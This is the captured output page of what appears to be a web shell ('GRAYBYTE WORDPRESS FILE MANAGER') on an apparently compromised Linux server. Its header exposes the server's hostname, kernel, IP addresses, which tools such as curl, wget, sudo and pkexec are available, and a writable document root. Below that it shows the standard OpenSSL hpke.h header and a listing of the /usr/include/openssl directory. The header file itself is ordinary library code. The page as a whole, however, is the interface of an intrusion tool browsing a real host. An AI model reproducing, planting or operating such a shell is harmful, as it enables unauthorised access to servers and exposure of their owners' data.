✘✘ GRAYBYTE WORDPRESS FILE MANAGER ✘✘

​🇳​​🇦​​🇲​​🇪♯➤ server.blackpussy.asia ​🇻​♯➤ 5.14.0-611.20.1.el9_7.x86_64 #1 SMP 🇾​♯➤ 2026

𝗛𝗢𝗠𝗘 𝗜𝗗 ♯➤ 163.245.207.76 ♯➤ 𝗔𝗗𝗠𝗜𝗡 𝗜𝗗 216.73.216.243
𝗢𝗣𝗧𝗜𝗢𝗡𝗦 ♯ CRL ♯➤ 𝗢𝗞 ┃ WGT ♯➤ 𝗢𝗞 ┃ SDO ♯➤ 𝗢𝗞 ┃ PKEX ♯➤ 𝗢𝗙𝗙
𝗗𝗘𝗔𝗖𝗧𝗜𝗩𝗔𝗧𝗘𝗗 ♯➤ mail,mb_send_mail
𝗖𝗨𝗥𝗥𝗘𝗡𝗧 𝗙𝗜𝗟𝗘 : /usr/include/openssl//hpke.h
/*
 * Copyright 2022-2024 The OpenSSL Project Authors. All Rights Reserved.
 *
 * Licensed under the Apache License 2.0 (the "License").  You may not use
 * this file except in compliance with the License.  You can obtain a copy
 * in the file LICENSE in the source distribution or at
 * https://www.openssl.org/source/license.html
 */

/* APIs and data structures for HPKE (RFC9180)  */
#ifndef OSSL_HPKE_H
#define OSSL_HPKE_H
#pragma once

#include <openssl/types.h>

/* HPKE modes */
#define OSSL_HPKE_MODE_BASE 0 /* Base mode  */
#define OSSL_HPKE_MODE_PSK 1 /* Pre-shared key mode */
#define OSSL_HPKE_MODE_AUTH 2 /* Authenticated mode */
#define OSSL_HPKE_MODE_PSKAUTH 3 /* PSK+authenticated mode */

/*
 * Max for ikm, psk, pskid, info and exporter contexts.
 * RFC9180, section 7.2.1 RECOMMENDS 64 octets but we have test vectors from
 * Appendix A.6.1 with a 66 octet IKM so we'll allow that.
 */
#define OSSL_HPKE_MAX_PARMLEN 66
#define OSSL_HPKE_MIN_PSKLEN 32
#define OSSL_HPKE_MAX_INFOLEN 1024

/*
 * The (16bit) HPKE algorithm ID IANA codepoints
 * If/when new IANA codepoints are added there are tables in
 * crypto/hpke/hpke_util.c that must also be updated.
 */
#define OSSL_HPKE_KEM_ID_RESERVED 0x0000 /* not used */
#define OSSL_HPKE_KEM_ID_P256 0x0010 /* NIST P-256 */
#define OSSL_HPKE_KEM_ID_P384 0x0011 /* NIST P-384 */
#define OSSL_HPKE_KEM_ID_P521 0x0012 /* NIST P-521 */
#define OSSL_HPKE_KEM_ID_X25519 0x0020 /* Curve25519 */
#define OSSL_HPKE_KEM_ID_X448 0x0021 /* Curve448 */

#define OSSL_HPKE_KDF_ID_RESERVED 0x0000 /* not used */
#define OSSL_HPKE_KDF_ID_HKDF_SHA256 0x0001 /* HKDF-SHA256 */
#define OSSL_HPKE_KDF_ID_HKDF_SHA384 0x0002 /* HKDF-SHA384 */
#define OSSL_HPKE_KDF_ID_HKDF_SHA512 0x0003 /* HKDF-SHA512 */

#define OSSL_HPKE_AEAD_ID_RESERVED 0x0000 /* not used */
#define OSSL_HPKE_AEAD_ID_AES_GCM_128 0x0001 /* AES-GCM-128 */
#define OSSL_HPKE_AEAD_ID_AES_GCM_256 0x0002 /* AES-GCM-256 */
#define OSSL_HPKE_AEAD_ID_CHACHA_POLY1305 0x0003 /* Chacha20-Poly1305 */
#define OSSL_HPKE_AEAD_ID_EXPORTONLY 0xFFFF /* export-only fake ID */

/* strings for suite components */
#define OSSL_HPKE_KEMSTR_P256 "P-256" /* KEM id 0x10 */
#define OSSL_HPKE_KEMSTR_P384 "P-384" /* KEM id 0x11 */
#define OSSL_HPKE_KEMSTR_P521 "P-521" /* KEM id 0x12 */
#define OSSL_HPKE_KEMSTR_X25519 "X25519" /* KEM id 0x20 */
#define OSSL_HPKE_KEMSTR_X448 "X448" /* KEM id 0x21 */
#define OSSL_HPKE_KDFSTR_256 "hkdf-sha256" /* KDF id 1 */
#define OSSL_HPKE_KDFSTR_384 "hkdf-sha384" /* KDF id 2 */
#define OSSL_HPKE_KDFSTR_512 "hkdf-sha512" /* KDF id 3 */
#define OSSL_HPKE_AEADSTR_AES128GCM "aes-128-gcm" /* AEAD id 1 */
#define OSSL_HPKE_AEADSTR_AES256GCM "aes-256-gcm" /* AEAD id 2 */
#define OSSL_HPKE_AEADSTR_CP "chacha20-poly1305" /* AEAD id 3 */
#define OSSL_HPKE_AEADSTR_EXP "exporter" /* AEAD id 0xff */

/*
 * Roles for use in creating an OSSL_HPKE_CTX, most
 * important use of this is to control nonce reuse.
 */
#define OSSL_HPKE_ROLE_SENDER 0
#define OSSL_HPKE_ROLE_RECEIVER 1

#ifdef __cplusplus
extern "C" {
#endif

typedef struct {
    uint16_t kem_id; /* Key Encapsulation Method id */
    uint16_t kdf_id; /* Key Derivation Function id */
    uint16_t aead_id; /* AEAD alg id */
} OSSL_HPKE_SUITE;

/**
 * Suite constants, use this like:
 *          OSSL_HPKE_SUITE myvar = OSSL_HPKE_SUITE_DEFAULT;
 */
#ifndef OPENSSL_NO_ECX
#define OSSL_HPKE_SUITE_DEFAULT       \
    {                                 \
        OSSL_HPKE_KEM_ID_X25519,      \
        OSSL_HPKE_KDF_ID_HKDF_SHA256, \
        OSSL_HPKE_AEAD_ID_AES_GCM_128 \
    }
#else
#define OSSL_HPKE_SUITE_DEFAULT       \
    {                                 \
        OSSL_HPKE_KEM_ID_P256,        \
        OSSL_HPKE_KDF_ID_HKDF_SHA256, \
        OSSL_HPKE_AEAD_ID_AES_GCM_128 \
    }
#endif

typedef struct ossl_hpke_ctx_st OSSL_HPKE_CTX;

OSSL_HPKE_CTX *OSSL_HPKE_CTX_new(int mode, OSSL_HPKE_SUITE suite, int role,
    OSSL_LIB_CTX *libctx, const char *propq);
void OSSL_HPKE_CTX_free(OSSL_HPKE_CTX *ctx);

int OSSL_HPKE_encap(OSSL_HPKE_CTX *ctx,
    unsigned char *enc, size_t *enclen,
    const unsigned char *pub, size_t publen,
    const unsigned char *info, size_t infolen);
int OSSL_HPKE_seal(OSSL_HPKE_CTX *ctx,
    unsigned char *ct, size_t *ctlen,
    const unsigned char *aad, size_t aadlen,
    const unsigned char *pt, size_t ptlen);

int OSSL_HPKE_keygen(OSSL_HPKE_SUITE suite,
    unsigned char *pub, size_t *publen, EVP_PKEY **priv,
    const unsigned char *ikm, size_t ikmlen,
    OSSL_LIB_CTX *libctx, const char *propq);
int OSSL_HPKE_decap(OSSL_HPKE_CTX *ctx,
    const unsigned char *enc, size_t enclen,
    EVP_PKEY *recippriv,
    const unsigned char *info, size_t infolen);
int OSSL_HPKE_open(OSSL_HPKE_CTX *ctx,
    unsigned char *pt, size_t *ptlen,
    const unsigned char *aad, size_t aadlen,
    const unsigned char *ct, size_t ctlen);

int OSSL_HPKE_export(OSSL_HPKE_CTX *ctx,
    unsigned char *secret,
    size_t secretlen,
    const unsigned char *label,
    size_t labellen);

int OSSL_HPKE_CTX_set1_authpriv(OSSL_HPKE_CTX *ctx, EVP_PKEY *priv);
int OSSL_HPKE_CTX_set1_authpub(OSSL_HPKE_CTX *ctx,
    const unsigned char *pub,
    size_t publen);
int OSSL_HPKE_CTX_set1_psk(OSSL_HPKE_CTX *ctx,
    const char *pskid,
    const unsigned char *psk, size_t psklen);

int OSSL_HPKE_CTX_set1_ikme(OSSL_HPKE_CTX *ctx,
    const unsigned char *ikme, size_t ikmelen);

int OSSL_HPKE_CTX_set_seq(OSSL_HPKE_CTX *ctx, uint64_t seq);
int OSSL_HPKE_CTX_get_seq(OSSL_HPKE_CTX *ctx, uint64_t *seq);

int OSSL_HPKE_suite_check(OSSL_HPKE_SUITE suite);
int OSSL_HPKE_get_grease_value(const OSSL_HPKE_SUITE *suite_in,
    OSSL_HPKE_SUITE *suite,
    unsigned char *enc, size_t *enclen,
    unsigned char *ct, size_t ctlen,
    OSSL_LIB_CTX *libctx, const char *propq);
int OSSL_HPKE_str2suite(const char *str, OSSL_HPKE_SUITE *suite);
size_t OSSL_HPKE_get_ciphertext_size(OSSL_HPKE_SUITE suite, size_t clearlen);
size_t OSSL_HPKE_get_public_encap_size(OSSL_HPKE_SUITE suite);
size_t OSSL_HPKE_get_recommended_ikmelen(OSSL_HPKE_SUITE suite);

#ifdef __cplusplus
}
#endif

#endif

Current_dir [ 𝗡𝗢𝗧 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ] Document_root [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ]

Current_dir [ 𝗡𝗢𝗧 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ] Document_root [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ]


[ Back ]
𝗡𝗔𝗠𝗘
𝗦𝗜𝗭𝗘
𝗟𝗔𝗦𝗧 𝗧𝗢𝗨𝗖𝗛
𝗨𝗦𝗘𝗥
𝗦𝗧𝗔𝗧𝗨𝗦
𝗙𝗨𝗡𝗖𝗧𝗜𝗢𝗡𝗦
..
--
12 Sep 2026 4.57 AM
root / root
0755
aes.h
3.233 KB
27 Jul 2026 6.11 PM
root / root
0644
asn1.h
56.383 KB
27 Jul 2026 6.11 PM
root / root
0644
asn1err.h
5.048 KB
27 Jul 2026 6.11 PM
root / root
0644
asn1t.h
37.696 KB
27 Jul 2026 6.11 PM
root / root
0644
async.h
2.948 KB
27 Jul 2026 6.11 PM
root / root
0644
asyncerr.h
0.722 KB
27 Jul 2026 6.11 PM
root / root
0644
bio.h
40.434 KB
27 Jul 2026 6.11 PM
root / root
0644
bioerr.h
2.3 KB
27 Jul 2026 6.11 PM
root / root
0644
blowfish.h
2.086 KB
27 Jul 2026 6.11 PM
root / root
0644
bn.h
21.786 KB
27 Jul 2026 6.11 PM
root / root
0644
bnerr.h
1.298 KB
27 Jul 2026 6.11 PM
root / root
0644
buffer.h
1.554 KB
27 Jul 2026 6.11 PM
root / root
0644
buffererr.h
0.573 KB
27 Jul 2026 6.11 PM
root / root
0644
byteorder.h
8.246 KB
27 Jul 2026 6.11 PM
root / root
0644
camellia.h
3.189 KB
27 Jul 2026 6.11 PM
root / root
0644
cast.h
1.836 KB
27 Jul 2026 6.11 PM
root / root
0644
cmac.h
1.415 KB
27 Jul 2026 6.11 PM
root / root
0644
cmp.h
46.912 KB
27 Jul 2026 6.11 PM
root / root
0644
cmp_util.h
1.589 KB
27 Jul 2026 6.11 PM
root / root
0644
cmperr.h
4.708 KB
27 Jul 2026 6.11 PM
root / root
0644
cms.h
30.374 KB
27 Jul 2026 6.11 PM
root / root
0644
cmserr.h
4.44 KB
27 Jul 2026 6.11 PM
root / root
0644
comp.h
4.586 KB
27 Jul 2026 6.11 PM
root / root
0644
comperr.h
0.979 KB
27 Jul 2026 6.11 PM
root / root
0644
conf.h
10.144 KB
27 Jul 2026 6.11 PM
root / root
0644
conf_api.h
1.297 KB
27 Jul 2026 6.11 PM
root / root
0644
conferr.h
1.657 KB
27 Jul 2026 6.11 PM
root / root
0644
configuration-x86_64.h
4.364 KB
27 Jul 2026 6.12 PM
root / root
0644
configuration.h
1.547 KB
27 Jul 2026 6.12 PM
root / root
0644
conftypes.h
1.148 KB
27 Jul 2026 6.11 PM
root / root
0644
core.h
7.637 KB
27 Jul 2026 6.11 PM
root / root
0644
core_dispatch.h
45.848 KB
27 Jul 2026 6.11 PM
root / root
0644
core_names.h
29.143 KB
27 Jul 2026 6.11 PM
root / root
0644
core_object.h
1.022 KB
27 Jul 2026 6.11 PM
root / root
0644
crmf.h
19.184 KB
27 Jul 2026 6.11 PM
root / root
0644
crmferr.h
1.814 KB
27 Jul 2026 6.11 PM
root / root
0644
crypto.h
22.577 KB
27 Jul 2026 6.11 PM
root / root
0644
cryptoerr.h
1.939 KB
27 Jul 2026 6.11 PM
root / root
0644
cryptoerr_legacy.h
46.894 KB
27 Jul 2026 6.11 PM
root / root
0644
ct.h
21.717 KB
27 Jul 2026 6.11 PM
root / root
0644
cterr.h
1.212 KB
27 Jul 2026 6.11 PM
root / root
0644
decoder.h
4.792 KB
27 Jul 2026 6.11 PM
root / root
0644
decodererr.h
0.723 KB
27 Jul 2026 6.11 PM
root / root
0644
des.h
7.582 KB
27 Jul 2026 6.11 PM
root / root
0644
dh.h
12.72 KB
27 Jul 2026 6.11 PM
root / root
0644
dherr.h
1.662 KB
27 Jul 2026 6.11 PM
root / root
0644
dsa.h
10.725 KB
27 Jul 2026 6.11 PM
root / root
0644
dsaerr.h
1.137 KB
27 Jul 2026 6.11 PM
root / root
0644
dtls1.h
1.21 KB
27 Jul 2026 6.11 PM
root / root
0644
e_os2.h
8.247 KB
27 Jul 2026 6.11 PM
root / root
0644
e_ostime.h
1.12 KB
27 Jul 2026 6.11 PM
root / root
0644
ebcdic.h
1.001 KB
27 Jul 2026 6.11 PM
root / root
0644
ec.h
60.853 KB
27 Jul 2026 6.11 PM
root / root
0644
ecdh.h
0.353 KB
27 Jul 2026 6.11 PM
root / root
0644
ecdsa.h
0.353 KB
27 Jul 2026 6.11 PM
root / root
0644
ecerr.h
3.28 KB
27 Jul 2026 6.11 PM
root / root
0644
encoder.h
4.463 KB
27 Jul 2026 6.11 PM
root / root
0644
encodererr.h
0.724 KB
27 Jul 2026 6.11 PM
root / root
0644
engine.h
36.656 KB
27 Jul 2026 6.11 PM
root / root
0644
engineerr.h
1.986 KB
27 Jul 2026 6.11 PM
root / root
0644
err.h
19.957 KB
27 Jul 2026 6.11 PM
root / root
0644
ess.h
8.5 KB
27 Jul 2026 6.11 PM
root / root
0644
esserr.h
0.959 KB
27 Jul 2026 6.11 PM
root / root
0644
evp.h
93.393 KB
27 Jul 2026 6.11 PM
root / root
0644
evperr.h
5.398 KB
27 Jul 2026 6.11 PM
root / root
0644
fips.h
0.587 KB
27 Jul 2026 6.11 PM
root / root
0644
fips_names.h
1.6 KB
27 Jul 2026 6.11 PM
root / root
0644
fipskey.h
1.207 KB
27 Jul 2026 6.11 PM
root / root
0644
hmac.h
1.848 KB
27 Jul 2026 6.11 PM
root / root
0644
hpke.h
5.938 KB
27 Jul 2026 6.11 PM
root / root
0644
http.h
4.606 KB
27 Jul 2026 6.11 PM
root / root
0644
httperr.h
1.808 KB
27 Jul 2026 6.11 PM
root / root
0644
idea.h
2.231 KB
27 Jul 2026 6.11 PM
root / root
0644
indicator.h
0.799 KB
27 Jul 2026 6.11 PM
root / root
0644
kdf.h
4.981 KB
27 Jul 2026 6.11 PM
root / root
0644
kdferr.h
0.469 KB
27 Jul 2026 6.11 PM
root / root
0644
lhash.h
32.593 KB
27 Jul 2026 6.11 PM
root / root
0644
macros.h
10.467 KB
27 Jul 2026 6.11 PM
root / root
0644
md2.h
1.305 KB
27 Jul 2026 6.11 PM
root / root
0644
md4.h
1.572 KB
27 Jul 2026 6.11 PM
root / root
0644
md5.h
1.57 KB
27 Jul 2026 6.11 PM
root / root
0644
mdc2.h
1.281 KB
27 Jul 2026 6.11 PM
root / root
0644
ml_kem.h
0.937 KB
27 Jul 2026 6.11 PM
root / root
0644
modes.h
7.944 KB
27 Jul 2026 6.11 PM
root / root
0644
obj_mac.h
282.739 KB
27 Jul 2026 6.11 PM
root / root
0644
objects.h
7.39 KB
27 Jul 2026 6.11 PM
root / root
0644
objectserr.h
0.67 KB
27 Jul 2026 6.11 PM
root / root
0644
ocsp.h
27.203 KB
27 Jul 2026 6.11 PM
root / root
0644
ocsperr.h
1.598 KB
27 Jul 2026 6.11 PM
root / root
0644
opensslconf.h
0.498 KB
27 Jul 2026 6.12 PM
root / root
0644
opensslv.h
3.368 KB
27 Jul 2026 6.11 PM
root / root
0644
ossl_typ.h
0.548 KB
27 Jul 2026 6.11 PM
root / root
0644
param_build.h
2.308 KB
27 Jul 2026 6.11 PM
root / root
0644
params.h
6.895 KB
27 Jul 2026 6.11 PM
root / root
0644
pem.h
22.136 KB
27 Jul 2026 6.11 PM
root / root
0644
pem2.h
0.511 KB
27 Jul 2026 6.11 PM
root / root
0644
pemerr.h
1.793 KB
27 Jul 2026 6.11 PM
root / root
0644
pkcs12.h
16.605 KB
27 Jul 2026 6.11 PM
root / root
0644
pkcs12err.h
1.394 KB
27 Jul 2026 6.11 PM
root / root
0644
pkcs7.h
21.358 KB
27 Jul 2026 6.11 PM
root / root
0644
pkcs7err.h
2.189 KB
27 Jul 2026 6.11 PM
root / root
0644
prov_ssl.h
0.946 KB
27 Jul 2026 6.11 PM
root / root
0644
proverr.h
6.264 KB
27 Jul 2026 6.11 PM
root / root
0644
provider.h
3.304 KB
27 Jul 2026 6.11 PM
root / root
0644
quic.h
2.052 KB
27 Jul 2026 6.11 PM
root / root
0644
rand.h
3.963 KB
27 Jul 2026 6.11 PM
root / root
0644
randerr.h
2.428 KB
27 Jul 2026 6.11 PM
root / root
0644
rc2.h
1.729 KB
27 Jul 2026 6.11 PM
root / root
0644
rc4.h
1.05 KB
27 Jul 2026 6.11 PM
root / root
0644
rc5.h
2.096 KB
27 Jul 2026 6.11 PM
root / root
0644
ripemd.h
1.501 KB
27 Jul 2026 6.11 PM
root / root
0644
rsa.h
21.776 KB
27 Jul 2026 6.11 PM
root / root
0644
rsaerr.h
3.771 KB
27 Jul 2026 6.11 PM
root / root
0644
safestack.h
28.471 KB
27 Jul 2026 6.11 PM
root / root
0644
seed.h
3.526 KB
27 Jul 2026 6.11 PM
root / root
0644
self_test.h
4.609 KB
27 Jul 2026 6.11 PM
root / root
0644
sha.h
4.301 KB
27 Jul 2026 6.11 PM
root / root
0644
srp.h
14.804 KB
27 Jul 2026 6.11 PM
root / root
0644
srtp.h
1.844 KB
27 Jul 2026 6.11 PM
root / root
0644
ssl.h
119.349 KB
27 Jul 2026 6.11 PM
root / root
0644
ssl2.h
0.61 KB
27 Jul 2026 6.11 PM
root / root
0644
ssl3.h
12.449 KB
27 Jul 2026 6.11 PM
root / root
0644
sslerr.h
15.052 KB
27 Jul 2026 6.11 PM
root / root
0644
sslerr_legacy.h
17.841 KB
27 Jul 2026 6.11 PM
root / root
0644
stack.h
3.049 KB
27 Jul 2026 6.11 PM
root / root
0644
store.h
13.68 KB
27 Jul 2026 6.11 PM
root / root
0644
storeerr.h
1.662 KB
27 Jul 2026 6.11 PM
root / root
0644
symhacks.h
1.076 KB
27 Jul 2026 6.11 PM
root / root
0644
thread.h
0.845 KB
27 Jul 2026 6.11 PM
root / root
0644
tls1.h
61.837 KB
27 Jul 2026 6.11 PM
root / root
0644
trace.h
10.569 KB
27 Jul 2026 6.11 PM
root / root
0644
ts.h
18.964 KB
27 Jul 2026 6.11 PM
root / root
0644
tserr.h
2.028 KB
27 Jul 2026 6.11 PM
root / root
0644
txt_db.h
1.597 KB
27 Jul 2026 6.11 PM
root / root
0644
types.h
7.131 KB
27 Jul 2026 6.11 PM
root / root
0644
ui.h
18.078 KB
27 Jul 2026 6.11 PM
root / root
0644
uierr.h
1.037 KB
27 Jul 2026 6.11 PM
root / root
0644
whrlpool.h
1.642 KB
27 Jul 2026 6.11 PM
root / root
0644
x509.h
65.907 KB
27 Jul 2026 6.11 PM
root / root
0644
x509_acert.h
21.405 KB
27 Jul 2026 6.11 PM
root / root
0644
x509_vfy.h
46.07 KB
27 Jul 2026 6.11 PM
root / root
0644
x509err.h
2.262 KB
27 Jul 2026 6.11 PM
root / root
0644
x509v3.h
126.315 KB
27 Jul 2026 6.11 PM
root / root
0644
x509v3err.h
3.494 KB
27 Jul 2026 6.11 PM
root / root
0644

✘✘ GRAYBYTE WORDPRESS FILE MANAGER @ 2026 CONTACT ME ✘✘
Static GIF Static GIF